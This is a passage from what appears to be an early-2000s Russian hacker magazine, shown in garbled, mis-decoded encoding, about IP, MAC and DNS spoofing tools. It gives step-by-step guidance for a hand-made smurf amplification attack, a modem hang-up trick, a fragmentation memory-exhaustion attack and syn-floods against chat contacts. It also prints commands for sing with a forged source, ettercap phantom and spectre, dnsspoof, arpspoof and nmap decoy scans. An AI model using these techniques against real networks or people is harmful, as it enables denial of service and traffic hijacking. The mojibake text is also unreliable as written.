ëåíüêèìè êîíâåðòèêàìè. Øóòêà ïî ñó-
òè òîæå áåçîáèäíàÿ. Íî åñëè ïåðåö
óøåë ñïàòü è îòðóáèë àñþ, ìîæíî áû-
ëî çàñëàòü äàæå íà ìåäëåííîì ìîäå-
ìå ýäàê òûñÿ÷ äåñÿòü ïèñüìèøåê.
Ïîñëå åãî âûõîäà â îí-ëàéí íàñòóïàë
æóòêèé ñòóïîð, ñ âèçãîì àñè è êîíöîì
Èíòåðíåòà. Ýòî íå pop3, à ñëåäîâà-
òåëüíî, çàéòè íà ñåðâàê è ïðîñòî
ãðîõíóòü âñå ñîîáùåíèÿ íå âûéäåò.
Íóæíî áûëî äîëãî è íóäíî ïðèíèìàòü
èõ, ïðè ýòîì âûñëóøèâàÿ íåíàâèñò-

íûå ê òîìó âðåìåíè çâóêè. Åñòü åùå
ïà÷êà ìûë-áîìáåðîâ è áðóò-ôîðñå-
ðîâ, íî ýòî óæå íå òàê èíòåðåñíî.

ÄÐÓÃÈÅ ÒÓËÇÛ
Íèçêîóðîâíåâûé ñïóôåð, êàê òû óæå
ïðî÷èòàë, ýòî â ïåðâóþ î÷åðåäü
Telnet. Â ïåðâóþ, ïîòîìó êàê äîñòóïåí
ïðàêòè÷åñêè âåçäå è íå òðåáóåò ìíîãî
ðåñóðñîâ. Åñòü åùå òàêàÿ õîðîøàÿ
ïðîãà X-Spider, â êîòîðîé åñòü è TCP, è
UDP êîííåêòîð. Òî åñòü òû ìîæåøü
ïîñëàòü èç ýòîé ïðîãè ëàæîâûå äàí-
íûå ïî îáîèì îñíîâíûì ïðîòîêîëàì.
TCP êîííåêòîð íè÷åì îñîáûì îò òåë-
íåòà íå îòëè÷àåòñÿ. Åäèíñòâåííàÿ ðàç-
íèöà: îí îòñûëàåò äàííûå ïî íàæàòèþ
íà ïèìïî÷êó, à òåëíåò øëåò èõ âî âðå-

ìÿ íàáîðà. Íî åñëè åñòü âîçìîæíîñòü
êà÷àòü, òî äëÿ ýòèõ öåëåé ëó÷øå èñ-
ïîëüçîâàòü netcat, ïîðòèðîâàííûé ñ
ëèíóêñà. Â íåì åñòü âîçìîæíîñòü è
ïîñûëàòü, è ïðèíèìàòü äàííûå íà ëþ-
áîì ïîðòó. Ýòî òàêàÿ óíèâåðñàëüíàÿ
ñëóøàëêà-ïîñûëàëêà. Êàê ïðàâèëî,
èìåííî åå ïðèìåíÿþò ïðè buffer over-
flow, åñëè ëîìàþò W32-òà÷êó.
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Spoof - àíãë.,
ìèñòèôèêàöèÿ,
ðîçûãðûø,
îáìàí Îòëè÷èòü ïàêåò íàñòîÿùèé îò ïàêåòà,

ñãåíåðèðîâàííîãî ñïóôåðîì, íåâîçìîæíî

ÏÎØËÈ ÂÑÅÕ 
ÎÒ ×ÓÆÎÃÎ ÈÌÅÍÈ!

Ìûë-áîìáåð òîæå ñïóôåð

Àíàëîã Hangupping ñ ðàñøèðåííûìè

ôóíêöèÿìè

Hangupping ïåðåä áîåì
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Ê ýòîìó æå áðàâîìó ñåìåéñòâó ìîæíî
îòíåñòè ïðîãó hangupping. Ñèÿ ïðîãà
îòëè÷íî ðàáîòàåò ïðîòèâ ìîäåìùè-
êîâ: îíà îòñûëàåò ïèíã ñ äàííûìè
"+++ATH0", íà ÷òî âòîðîé êîìï ïûòà-
åòñÿ ïîñëàòü îòâåò ñ òåìè æå äàííû-
ìè. È åñëè ó íåãî ìîäåì íå ZyXEL è
îí íå ïîìåíÿë êîä óïðàâëÿþùåãî
ñèìâîëà íà ÷òî-íèáóäü îòëè÷íîå îò
"+", îí áàíàëüíî ïàäàåò. Òî åñòü åãî
ìîäåì, ïåðåõâàòèâ "+++", ñ÷èòàåò, ÷òî
ýòî ê íåìó îáðàùàþòñÿ è, ïîëó÷èâ êî-
ìàíäó "ATH0", êëàäåò òðóáî÷êó.
Î÷åíü õîðîøî ðàáîòàåò ïðîòèâ ìíî-
ãèõ âíóòðåííèõ ìîäåìîâ. Ñîîòâåò-
ñòâåííî íå ðàáîòàåò â ëîêàëêå.

ÏÀÊÅÒÛ, ÏÀÊÅÒÈÊÈ!
È, íàêîíåö, ñàìîå âêóñíîå. Äëÿ W2K
ìîèìè ïåëåíãàòîðàìè òîëêîì íè÷åãî
áåçãëþ÷íî ðàáîòàþùåãî íå íàéäåíî.
Åñòü ïðîãè, êîòîðûå óìåþò ñëàòü ARP-
ïàêåòû, åñòü ïðîãè, êîòîðûå ïûòàþòñÿ
ñëàòü Ethernet ïàêåòû, íî íà ïðàêòèêå
âûëåòàåò òîëüêî 1 èç 5 ïîñûëîê. Çàòî
ïîä 98-ìè è ÷åòâåðòîé NT âñå ðàáîòàåò.
Ïåðâûé â ñïèñêå ïîáåäèòåëåé, êàê íè
ñòðàííî, ñíèôôåð. Çâàòü åãî NetXray.
Â íåì åñòü ôóíêöèÿ ïîñûëêè ïàêåòà.
Ïðè ýòîì ìîæíî ñîáðàòü ïàêåò ðóêàìè
è ïîñìîòðåòü, ÷òî ïîëó÷èòñÿ. Ìîæíî
ñîáðàòü íà êàðêàñå, òî åñòü êîíòðîëü-
íóþ ñóììó çà òåáÿ ïðîñ÷èòàåò ïðîãà.

Ìîæíî äàæå âîîáùå íå ñîáèðàòü, à
ïðîñòî âûëîâèòü ïàêåòû èç ñåòè è ïå-
ðåïîñëàòü èõ. Êñòàòè, ïîñëåäíÿÿ âåùü
î÷åíü ïðèãîäèòñÿ äëÿ îáëîìà êà÷àþ-
ùèõ. Òî åñòü ìîæíî ïåðåïîñûëàòü ïà-
êåòû èç ftp-ñåññèè, ÷òî äîñòàòî÷íî ÷àñ-
òî ïðèâîäèò ê êðàõó ftp-êëèåíòà.
Ïðè ïîñûëêå ïàêåòà âðó÷íóþ ìîæíî
çàìóòèòü ìíîæåñòâåííóþ äåôðàã-
ìåíòàöèþ. Òî åñòü ïîñëàòü ïàêåò íà
îòêðûòèå ñåññèè. Ïîîáåùàòü ïðèñ-

ëàòü 60 êèëî èíôû. Ïîñëàòü íåñ-
êîëüêî ïàêåòîâ, ïðèìåðíî íà 55 êè-
ëî, óêàçàâ â êàæäîì ôëàã äåôðàã-
ìåíòàöèè, òî åñòü ÷òî ýòî åùå íå âñÿ
èíôà. Ïîñëå ÷åãî îòêðûòü âòîðóþ
ñåññèþ è ïîâòîðèòü. Ýòî ïðèâåäåò ê
òîìó, ÷òî íà òà÷êå áóäåò çàáèâàòüñÿ
ïàìÿòü ïî 55 êèëî çà ðàç. Îñâîáî-
äèòü îíà åå íå ìîæåò, ïîòîìó êàê
æäåò îêîí÷àíèÿ. Êîíå÷íî, ñåññèè îò-
âàëÿòñÿ ïî òàéì-àóòó, ïîýòîìó äàí-
íûé ñïîñîá îòëè÷íî ðàáîòàåò â ëî-
êàëêå è ïðàêòè÷åñêè íå ïðè÷èíÿåò
âðåäà íà ìîäåìíîì ñîåäèíåíèè. Ïðè
òàêîé àòàêå ìîæíî äàæå íå çàìîðà-

÷èâàòüñÿ íà TCP ïàêåòàõ, âñå ýòî îò-
ëè÷íî ðàáîòàåò è íà ICMP óðîâíå.
Èñïîëüçóÿ âîçìîæíîñòü îòñûëàòü ïà-
êåòû ñ ëîæíûì èñõîäÿùèì IP-øíè-
êîì, ìîæíî ñäåëàòü ìèíè-smurf. Îñ-
íîâíàÿ ñèëà ýòîãî âèäà àòàêè â êîëè-
÷åñòâå "ðàçìíîæåííûõ" ïàêåòîâ. Åñòü
òàêàÿ õîðîøàÿ âåùü, êàê broadcast-
àäðåñ. Ýòî ïîñëåäíèé àäðåñ â ïîäñå-
òè. Òî åñòü åñëè ñåòü ñ àäðåñîì 1.2.3.0
è ìàñêîé 255.255.255.0, òî áðîäêàñòî-

âûé IP áóäåò 1.2.3.255. Åãî ïîëó÷àò
âñå ìàøèíû, è ïðè íîðìàëüíûõ óñëî-
âèÿõ îíè äîëæíû áóäóò íà íåãî îòâå-
òèòü. Äîïóñòèì, ÷òî â ñåòè ðåàëüíî
ñóùåñòâóåò 50 êîìïîâ. Òîãäà, ïîñëàâ
âñåãî îäèí ïàêåò, ìû ïîëó÷èì â îòâåò
50 ïàêåòîâ. À åñëè ïîäìåíèòü èñõîäÿ-
ùèé IP, òî ïîëó÷èì íå ìû, à òîò ïåðåö,
êîòîðûé ñèäèò íà ýòîì IP. Åñëè ó òåáÿ
óæå åñòü íà ïðèìåòå òàêàÿ ñåòêà, òî
çàïóñêàÿ Õ-ðåé íà ïðîñëóøêó èñõîäÿ-
ùåãî òðàôèêà è ÿðîñòíî ïèíãóé ýòó
ñåòêó. Ïîñëå ýòîãî òåáå íàäî îòîáðàòü
1-2 íàèáîëåå ïîíðàâèâøèõñÿ ïàêåòà è
èñïðàâèòü â íèõ èñõîäÿùèé IP-àäðåñ.
Âñå, smurf ñâîèìè ðóêàìè ãîòîâ!

ÂÑÅ ÐÓ×ÊÀÌÈ
Åñòü åùå òàêàÿ èíòåðåñíàÿ ïðîãà -
Ntpacket. Â íåé íàäî âñå ñ÷èòàòü ñà-
ìîìó, íî, ê ñîæàëåíèþ, íè îäèí áî-
ëåå-ìåíåå íåñòàíäàðòíûé ïàêåò âûï-
ëþíóòü èç íåå íå óäàëîñü. Åñëè âñå
ðàññ÷èòàòü ïðàâèëüíî, òî ïàêåò óëå-
òàåò íà óðà, íî åñëè âîòêíóòü êðèâóþ
êîíòðîëüíóþ ñóììó èëè çàäàòü äëèíó
ìåíüøå (áîëüøå) ðåàëüíîé, òî ïàêåò
ïðîñòî òåðÿåòñÿ â íåäðàõ winsock.
Äëÿ ñòàðîãî äîáðîãî 98-ãî è ìîäåì-
íîãî ñîåäèíåíèÿ åñòü åùå ïðîãà
Exploit Generator.
Îíà ïîçâîëÿåò ñëàòü ïàêåòû ïðÿìè-
êîì ÷åðåç RAS, òî åñòü ýìóëèðóÿ
ïðàêòè÷åñêè âñþ ñèñòåìó ôîðìèðîâà-
íèÿ ïàêåòîâ. Â íåì åñòü î÷åíü íàâî-
ðî÷åííûé ñïóôåð è äîñòàòî÷íî ïðîä-
âèíóòûé áîìáåð ñòàíäàðòíûìè Land è
smurf ïàêåòàìè. Òóò ìîæíî ôîðìèðî-
âàòü àáñîëþòíî ëþáîé ïàêåò IP-óðîâ-
íÿ. Àâòîìàòîì ïðîñ÷èòûâàåòñÿ òîëü-
êî Ethernet ïðîòîêîë. Ìîæåøü ñëàòü
ñ íóëåâîãî ïîðòà, ìîæåøü ïîñûëàòü
îò ëåâîãî IP-øíèêà. Ìîæíî äàæå ïî-
áàëîâàòüñÿ ñ óñòàíîâêîé ôëàãîâ RST,
FIN, SYN è ò.ä. Íåçàìåíèìàÿ âåùü äëÿ
syn-flood! Ïîçâîëÿåò îòîñëàòü çàïðî-
ñîâ íà òûñÿ÷è ñîåäèíåíèé çà ñ÷èòàí-
íûå ñåêóíäû. Ìíîãèå ïàðàìåòðû óìå-
åò áðàòü íà ëåòó. Òî åñòü ìîæåøü ñêî-
ïèðîâàòü èç àñè IP ñîáåñåäíèêà, à âîò
âñòàâêà åãî â êà÷åñòâå öåëè è íàæà-
òèå êíîïî÷êè kill óæå ïðîèçîéäåò àâ-
òîìàòîì. Ïðàâäà, ìîæåò âîçíèêíóòü
ìàëåíüêîå íåäîðàçóìåíèå, åñëè òû
ïðîñòî ëþáèøü ñìîòðåòü IP â àñüêå.
Òîëüêî ïîñìîòðåë, à åãî óæå è íåò :)

E

Íåâåðíàÿ
êîíòðîëüíàÿ

ñóììà óãðîáèò
ïàêåò íà ïåð-
âîì æå ìàðø-

ðóòèçàòîðå,
åñëè îí íå óã-

ðîáèòñÿ ñàì

Èñïîëüçóÿ
NetXray, çàìó-

òèòü smurf-
àòàêó íå ñîñ-

òàâèò íèêàêî-
ãî òðóäà: îò-
ëîâèë ïàêåò,
ïîìåíÿë IP, 
è ïîðÿäîê!

Exploit generator, îêíî äëÿ spoof-àêöèè

Exploit generator, òàê îí âûãëÿäèò

â ñàìîì íà÷àëå

Åùå îäíà ïðîãà äëÿ ñáîðêè è ïîñûëêè

ïàêåòîâ � óæàñíî ãëþ÷íàÿ âåùü



Òû óæå óñòàíîâèë ëèíóõ è ñ ãîëîâîé óøåë â ÷òåíèå ìàíîâ è óìíûõ êíèæåê, íî çà âñåì
ýòèì íå çàáûâàé, ÷òî ïðàâèëüíàÿ îñü èçíà÷àëüíî áûëà è îñòàåòñÿ îñüþ õàêåðñêîé.

ðåäè õàêåðñêèõ ôè-
øåê åñòü òàêîé èíòå-
ðåñíûé è ïîëåçíûé

ïðèåì, êàê ñïóôèíã. Òû äî ñèõ ïîð
íå çíàåøü, ÷òî ýòî òàêîå? Òîãäà
âêðàòöå ðàññêàæó. Ñóòü ñïóôèíãà
ñîñòîèò â òîì, ÷òîáû ïîäìåíÿòü
source àäðåñ â îòïðàâëÿåìûõ ïàêå-
òàõ íà ëîæíûé, òàêèì îáðàçîì îá-
ìàíûâàòü ðàçëè÷íûå ñèñòåìû çà-
ùèòû, ïðîèçâîäèòü DoS àòàêè, ïîð-
òèòü æèçíü ñîñåäÿì è äåëàòü ïðî-
÷èå íåõîðîøèå âåùè ñ ìàëîé âåðî-
ÿòíîñòüþ áûòü îáíàðóæåííûì :).
Õîòÿ ÿ áû â êàêîé-òî ìåðå îòíåñ ê
ñïóôèíãó èçìåíåíèå è äðóãèõ ïàðà-
ìåòðîâ ïàêåòà, òî åñòü ïðåäíàìå-
ðåííóþ ãåíåðàöèþ ëîæíûõ ïàêåòîâ
ñ çàäàííûìè ñâîéñòâàìè ñ öåëüþ
âûäàòü èõ çà äåéñòâèòåëüíûå.

ÑÏÓÔÈÍÃ ÊÐÀÏ×ÀÒÛÉ
Ñåòåâûõ ïðîòîêîëîâ è òåõíîëîãèé
î÷åíü ìíîãî, ïîýòîìó è ñïóôèíã
áûâàåò ðàçíûõ âèäîâ. Ñðåäè ñàìûõ
ðàñïðîñòðàíåííûõ:

- IP ñïóôèíã - ïîäìåíà source IP,
âîçìîæíîñòü ïðîèçâîäèòü íåîòñëå-
æèâàåìûå DoS àòàêè, ñêàíèðîâàíèå
è ò.ï.;

- MAC ñïóôèíã - ïîäìåíà source
MAC, ïîçâîëÿåò óñòðàèâàòü MAC
ôëóä â ëîêàëêå è èçìåíèòü ìàðø-
ðóòèçàöèþ â ñåòêå, à ñëåäîâàòåëü-
íî, è âûâåñòè íà êàêîå-òî âðåìÿ
ñåòü èç ðàáîòîñïîñîáíîãî ñîñòîÿ-
íèÿ;

- DNS ñïóôèíã - àòàêà íà DNS,
ïîçâîëÿþùàÿ èçìåíèòü ðåçîëâèíã
îïðåäåëåííûõ àäðåñîâ, òåì ñàìûì
çàáëîêèðîâàâ äîñòóï ê îïðåäåëåí-
íûì õîñòàì, èëè æå âûäàòü ñåáÿ çà
äðóãîé õîñò.

Òàêæå ñòîèò îòìåòèòü, ÷òî ìíîãèå
ïðîãðàììû óÿçâèìû äëÿ ñïóô-àòàê
è ïîçâîëÿþò ïîëó÷èòü òàêèì îáðà-
çîì ïîäíÿòûå ïðèâèëåãèè â ñèñòå-

ìå. Ïîäóìàé, ÷òî áóäåò, åñëè, íàï-
ðèìåð, source IP áóäåò çàìåíåí íà
ëîêàëüíûé, òèïà 127.*.*.*?

Ìíîãèå ïðîãðàììû çàùèùåíû îò
ýòîãî, íî îñòàëèñü è òå, ÷òî çàöèê-
ëèâàþòñÿ è òåðÿþò ñâîþ ðàáîòîñ-
ïîñîáíîñòü.

ß õî÷ó, ÷òîáû òû ñðàçó ïîíÿë, ÷òî
ñïóôèíã íå ÿâëÿåòñÿ ÷åì-òî îáî-

ñîáëåííûì. Íåïîñðåäñòâåííî ïðîã-
ðàìì, íàïðàâëåííûõ òîëüêî íà ñïó-
ôèíã, íå òàê óæ è ìíîãî - ôóíêöèÿ
ñïóôèíãà ÿâëÿåòñÿ äîïîëíåíèåì â
ñèñòåìàõ òåñòèðîâàíèÿ áåçîïàñíîñ-
òè, ñêàíåðàõ, ñíèôôåðàõ è ïðî÷èõ
ñåòåâûõ óòèëèòàõ.

Â ñâîåì îáçîðå ÿ ðàññìîòðþ ïðè-
ìåíåíèå ñïóôèíãà â ïðîãðàììàõ
äëÿ ðàçëè÷íûõ çàäà÷, ÷òîáû òû ìîã
èìåòü ïðåäñòàâëåíèå, êàêîå ïðàêòè-
÷åñêîå ïðèìåíåíèå èìååò ñïóôèíã.

SING
http://sourceforge.net/
projects/sing/
Î÷åíü ôóíêöèîíàëüíàÿ ïðîãðàììà
äëÿ ôîðìèðîâàíèÿ ðàçëè÷íûõ ïàêå-
òîâ ñ ðàçëè÷íûìè ïàðàìåòðàìè. Ïî-
æàëóé, åäèíñòâåííûé "÷èñòûé" ñïó-
ôåð èç ïðåäñòàâëåííûõ â îáçîðå.

Ìîæíî óêàçàòü òèï icmp ïàêåòà:
Echo Reply, Router Solicitation,
Destination Unreachable, äëèíó ïà-
êåòà, ñîäåðæàíèå ïàêåòà è ò.ä. Åñòü
âîçìîæíîñòü ïîñûëàòü ôðàãìåíòè-

ðîâàííûå ïàêåòû, óêàçûâàòü ìàðø-
ðóòèçàöèþ, àäðåñ îòïðàâèòåëÿ,
MAC àäðåñ, TTL è TOS, òèï îïåðà-
öèîííîé ñèñòåìû è åùå ìíîãî ïî-
ëåçíûõ âåùåé.

Sing âêëþ÷àåò â ñåáÿ âñå âîçìîæ-
íîñòè ïðîãðàììû ping, à òàêæå ìíî-
æåñòâî ñâîèõ ôóíêöèé, ïîýòîìó ÿâ-
ëÿåòñÿ îòëè÷íîé çàìåíîé òðàäèöè-
îííîìó ping.

Ïðèìåð çàïóñêà:
sing 212.23.95.156 - îáû÷íûé ïèíã çàäàííî-
ãî õîñòà.
sing 212.23.95.156 -S 212.23.94.188 - ïèíãóåì
õîñò 212.23.95.156 ñ ïîääåëüíûì source àä-
ðåñîì 212.23.94.188.

Sing, ïîæàëóé, ìîæíî íàçâàòü îä-
íîé èç ëó÷øèõ òóëç ïî ðàáîòå ñ ïà-
êåòàìè, â ÷àñòíîñòè ñ icmp. Ýòó
ïðîãðàììó ìîæíî ïðèìåíÿòü äëÿ
DoS àòàê, èññëåäîâàíèÿ óÿçâèìîñ-
òåé â ìàðøðóòèçàöèè ñåòè, òåñòèðî-
âàíèÿ ôàåðâîëëà - âñå îãðàíè÷èâà-
åòñÿ ëèøü òâîåé ôàíòàçèåé. Sing -
ìîùíûé èíñòðóìåíò äëÿ ñïóôèíãà
ñ áîëüøèì íàáîðîì ôóíêöèé.

ETTERCAP
ÏËÀÃÈÍÛ PHANTOM, SPECTRE
http://ettercap.sourceforge.net
Íå áóäåì çàáûâàòü, ÷òî, ïîìèìî
ôóíêöèé ñíèôôåðà, ettercap ñî-
äåðæèò ïîëåçíûå ïëàãèíû, â òîì
÷èñëå è äëÿ ñïóôèíãà:

Phantom - ñïóôåð DNS. Îòïðàâëÿ-
åò íà DNS ñåðâåð ïàêåòû ñ óêàçàíè-
åì ëîæíûõ äàííûõ, âñëåäñòâèå ÷å-
ãî ìîæåò ïîëó÷èòüñÿ DNS poisoning
(çàáèâàíèå êåøà ñåðâàêà ëîæíûìè
ïàðàìè URL - IP).

Ïðèìåð çàïóñêà:
ettercap - Ndp phantom

SOFT/ÀËÈÑÀ, ÝÒÎ ÑÏÓÔÈÍÃ! ÓÍÅÑÈÒÅ!
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Óøàêîâ Àíäðåé 
aka A-nd-Y (Andy_@timus.ru)

C

ÈÍÑÒÐÓÌÅÍÒÛ ÄËß ÑÏÓÔÈÍÃÀ Â LINUX

Ñåòåâûõ ïðî-
òîêîëîâ è òåõ-
íîëîãèé î÷åíü
ìíîãî, ïîýòîìó
è ñïóôèíã áû-
âàåò ðàçíûõ
âèäîâ

Íåïîñðåäñòâåííî ïðîãðàìì,
íàïðàâëåííûõ òîëüêî íà ñïóôèíã, íå òàê
óæ è ìíîãî - ôóíêöèÿ ñïóôèíãà ÿâëÿåòñÿ

äîïîëíåíèåì â ñèñòåìàõ òåñòèðîâàíèÿ
áåçîïàñíîñòè, ñêàíåðàõ, ñíèôôåðàõ 

è ïðî÷èõ ñåòåâûõ óòèëèòàõ

ÀËÈÑÀ, ÝÒÎ ÑÏÓÔÈÍÃ!
ÓÍÅÑÈÒÅ!

http://www.securityfocus.com http://www.securitylab.ru, 

èùåì ýêñïëîèòû...
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Spectre - MAC ñïóôåð-ôëóäèëêà
äëÿ ëîêàëêè. Çàñûëàåò â ñåòêó êó÷ó
ARP ïàêåòîâ ñ ïîääåëüíûìè ìàêà-
ìè, çàñîðÿÿ òåì ñàìûì êåøè ñåòå-
âóõ, ñáèâàÿ òàáëèöû ìàðøðóòèçà-
öèè, òàêèì îáðàçîì íàðóøàÿ ðàáî-
òó ñåòè íà êàíàëüíîì óðîâíå.

Ïðèìåð çàïóñêà:
ettercap -Ndp spectre

Íàïîìíþ çíà÷åíèå èñïîëüçóåìûõ
îïöèé. N - çàïóñê áåç ãðàôè÷åñêîãî
èíòåðôåéñà, d - óêàçûâàåò íà òî,
÷òî íå íóæíî ðåçîëâèòü õîñòû, p -
óêàçûâàåò, ñîáñòâåííî, íà òî, ÷òî
íóæíî þçàòü äàííûé ïëàãèí, êîòî-
ðûé óêàçûâàåòñÿ ïîñëå îïöèé.

Â ïðåäñòàâëåííûõ ïëàãèíàõ îòñóò-
ñòâóåò êàê òàêîâàÿ âîçìîæíîñòü
ñàìîñòîÿòåëüíî çàäàòü ïàðàìåòðû
äëÿ îòñûëàåìûõ ïàêåòîâ, ÷òî îãðà-
íè÷èâàåò èõ ïðèìåíåíèå ëèøü
ïðîñòûìè àòàêàìè íà DNS è DoS íà-
ïàäåíèÿìè.

DNSSPOOF, ARPSPOOF
(èç ïàêåòà Dsniff)
http://www.monkey.org/
~dugsong/dsniff/
Ïðèëîæåíèÿ èç ïàêåòà äëÿ ðàáîòû
ñ ñåòüþ Dsniff.

Dnsspoof ïîñûëàåò ëîæíûå îòâå-
òû íà DNS ñåðâåðà ñ ïðîèçâîëüíûì
àäðåñîì è id â ïîñëåäîâàòåëüíîñòè
ïàêåòîâ. Íàáîð õîñòîâ è ñîîòâåò-
ñòâóþùèõ àéïèøíèêîâ äëÿ ñïó-
ôèíãà óêàçûâàåòñÿ â ôàéëå ñ ðàñ-
øèðåíèåì .hosts è ñèíòàêñèñîì
ôàéëà /etc/hosts, ñ ïîääåðæêîé
øàáëîíîâ òèïà *mynet.net, òîëüêî
áåç óêàçàíèÿ àëèàñîâ.

Ïðèìåð çàïóñêà:
dnsspoof -i eth0 -f myspuf.hosts,

"-i eth0" óêàçûâàåò, êàêîé èíòåð-
ôåéñ èñïîëüçîâàòü, "-f
myspuf.hosts" óêàçûâàåò íà ôàéë ñ
äàííûìè äëÿ ñïóôèíãà.

Arpspoof - ýòî ARP ñïóôåð, èñ-
ïîëüçóåìûé â ïàêåòå Dsniff äëÿ ïå-
ðåíàïðàâëåíèÿ òðàôèêà ñ îäíîãî
õîñòà íà äðóãîé, ïîçâîëÿåò ïðîèç-
âîäèòü ñíèô íà ñâèò÷àõ.

Çàïóñê:
arpspoof -i eth0 -t 10.0.23.66 10.0.23.55 - ïå-
ðåíàïðàâëÿåì òðàôèê ñ õîñòà 10.0.23.66 íà
õîñò 10.0.23.55.

Íå çàáûâàé, ÷òî ó âñåõ ðàññìîò-
ðåííûõ ìíîþ ïðîãðàìì åñòü man
ðóêîâîäñòâà, êîòîðûå íåïëîõî áû-
ëî áû ïî÷èòàòü, åñëè òû õî÷åøü
ëó÷øå èçó÷èòü ýòè ïðîãðàììû.

Çíàíèå TCP/IP òîæå ëèøíèì íå
áóäåò, òåì áîëåå ÷òî â Èíåòå äîñòà-
òî÷íî èíôû ïî ýòîìó âîïðîñó.

NMAP
http://www.insecure.org/nmap
Èçâåñòíûé ñêàíåð ïîðòîâ, êîòîðûé
òàêæå èñïîëüçóåò òåõíîëîãèþ ñïó-
ôèíãà ïðè ñêàíèðîâàíèè. Äëÿ ýòî-
ãî èñïîëüçóåòñÿ îïöèÿ "-D" ñî
ñïèñêîì õîñòîâ/àéïèøíèêîâ, êîòî-
ðûå íóæíî èñïîëüçîâàòü â ïîääå-
ëàííûõ ïàêåòàõ.

nmap -sS -D
212.23.95.157,212.23.95.158,212.23.95.159,212.23
.95.160,212.23.95.161 213.140.104.195

Ñêàíèì 213.140.104.195, èñïîëüçóÿ
ñïóô àäðåñà 
212.23.95.157,212.23.95.158,212.23.95.159,212.23
.95.160,212.23.95.161
(ñìîòðè ñêðèíøîò).

Nmap ïîçâîëÿåò ïîäñòàâëÿòü óêà-
çàííûå àäðåñà â çàãîëîâêè îòïðàâ-
ëÿåìûõ ïàêåòîâ, òåì ñàìûì ñîçäà-
âàÿ âèäèìîñòü òîãî, ÷òî ïàêåòû
èäóò ñ ðàçëè÷íûõ ìàøèí, ÷òî çàò-
ðóäíÿåò îáíàðóæåíèå ñêàíèðîâà-
íèÿ äàííîãî õîñòà. Íî ó ýòîãî ìåòî-
äà åñòü îäíà îñîáåííîñòü, òâîé
ñîáñòâåííûé õîñò òàêæå áóäåò ñðå-
äè óêàçàííûõ â ñïóô-ñïèñêå, äàæå
åñëè òû íå óêàçàë åãî ñàì.

ÐÀÇËÈ×ÍÛÅ ÝÊÑÏËÎÈÒÛ 
È ÓßÇÂÈÌÎÑÒÈ
http://www.securitylab.ru,
www.securityfocus.com
Êàê òû óæå äîãàäûâàåøüñÿ, ñïó-
ôèíã íå áûë áû ñòîëü ðàñïðîñòðà-
íåííîé õàêåðñêîé ôèøêîé, åñëè áû
íå ñóùåñòâîâàëî ñîôòà, óÿçâèìîãî

ê ñïóôèíãó. Êàê òû çíàåøü, ÷òîáû
èñïîëüçîâàòü íàéäåííóþ óÿçâè-
ìîñòü, ïèøóò êîä aka ýêñïëîèò, êî-
òîðûé ïîçâîëÿåò ïðîèçâåñòè àòàêó
íà äûðÿâûé ñîôò è ïîëó÷èòü, íàï-
ðèìåð, ïîäíÿòûå ïðèâèëåãèè èëè
ïðîñòî çàâàëèòü òà÷êó. Çäåñü òû
óæå â çàâèñèìîñòè îò êîíêðåòíîé
çàäà÷è áóäåøü èñêàòü íóæíûé òåáå
ýêñïëîèò. Íî ïîäóìàé, êàê ïðèÿòíî
ïèñàòü ýêïëîèòû ñàìîìó, à íå íàäå-
ÿòüñÿ íà ÷óæèå, à åùå áîëåå ïðèÿò-
íî, êîãäà òâîèì òâîðåíèåì ïîëüçó-
þòñÿ äðóãèå ëþäè. Èç ÷åãî äåëàé
âûâîä - èçó÷àòü ïðîãðàììèðîâàíèå
íóæíî è î÷åíü âàæíî. Â ýòîì ñëó-
÷àå òû áóäåøü îãðàíè÷åí òîëüêî
ñâîåé ôàíòàçèåé. Èçó÷àé C è Perl -
ýòî âàæíåéøèå ÿçûêè äëÿ ëþáîãî
íèêñà, ñ ïîìîùüþ íèõ ìîæíî ðåà-

ëèçîâàòü ìíîæåñòâî çàäóìîê ïî
ñîçäàíèþ ñîáñòâåííûõ ïàêåòîâ.

Êàê âèäèøü, ñïóôèíã (òî åñòü
ïîñòðîåíèå ïàêåòîâ ñ òâîèìè
ñîáñòâåííûìè ïàðàìåòðàìè) ìàëî
ïîëåçåí, åñëè þçàòü åãî áåç êàêèõ-
ëèáî äðóãèõ ñðåäñòâ. Òîëüêî åñëè
èñïîëüçîâàòü ñïóôèíã êîìïëåêñíî
ñ äðóãèìè ïðîãàìè èëè êàê ñðåä-
ñòâî, âíîñÿùåå äîïîëíèòåëüíûå
âîçìîæíîñòè â ýòîò ñîôò, ñòàíîâÿò-
ñÿ âèäíû âñå ïðåèìóùåñòâà ñïóôà.
Â ïðîñòåéøåì ñëó÷àå ñïóôèíã ìî-
æåò áûòü ïðèìåíåí êàê ñðåäñòâî
äëÿ ñêðûòèÿ ðåàëüíûõ õîñòîâ ïðè
DoS àòàêå èëè ñêàíèðîâàíèè óäà-
ëåííîé ñèñòåìû. Â ñëîæíûõ çàäà-
÷àõ - êàê ñðåäñòâî îáõîäà ôàåð-
âîëüíîé çàùèòû, çàùèòû ìàðøðó-
òèçàòîðîâ, íî ýòî óæå òðåáóåò áî-
ëåå òùàòåëüíîé ïîäãîòîâêè è èçó-
÷åíèÿ, à òàêæå âåñüìà ïðèëè÷íîãî
çàïàñà çíàíèé â îáëàñòè ñåòåâûõ
òåõíîëîãèé è ïðîãðàììèðîâàíèÿ.

E

Êàê òû óæå
çíàåøü, ñïó-
ôèíã íå áûë

áû ñòîëü ðàñï-
ðîñòðàíåííîé

õàêåðñêîé
ôèøêîé, åñëè

áû íå ñóùåñò-
âîâàëî ñîôòà,

óÿçâèìîãî 
ê ñïóôèíãó.

Flood width spoofing Ñêàíèì nmap'îì ñ îïöèåé ñïóôèíãà

http://www.securityfocus.com, http://www.securitylab.ru,
http://www.void.ru - âñå, ÷òî òåáå íàäî, ÷òîáû âñåãäà áûòü â êóðñå
íîâîñòåé êîìïüþòåðíîé áåçîïàñíîñòè.

http://www.phrack.org - ìíîæåñòâî èíôû ñàìîãî âûñîêîãî êà÷åñòâà,
íî ÷èòàòü ðåêîìåíäóåòñÿ óæå èìåÿ îïðåäåëåííóþ ïîäãîòîâêó.

http://www.protocols.ru - íåìàëîå êîëè÷åñòâî èíôû ïî ñåòåâûì
ïðîòîêîëàì è òåõíîëîãèÿì.
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Ýòî òàêàÿ îïåðàöèîíêà, â êîòîðîé åñòü
ñðåäñòâà äëÿ âûõîäà â ñåòü. Íàïðèìåð, òû
ìîæåøü óñòàíîâèòü ïîä îáû÷íûé ãîëûé
DOS äðîâà äëÿ ñåòåâîãî àäàïòåðà, óñòàíî-
âèòü ñåòåâîé ìåíåäæåð è êëèåíò êàêîé-
íèáóäü ñåòåâîé ñëóæáû. Òàê DOS ñòàíåò
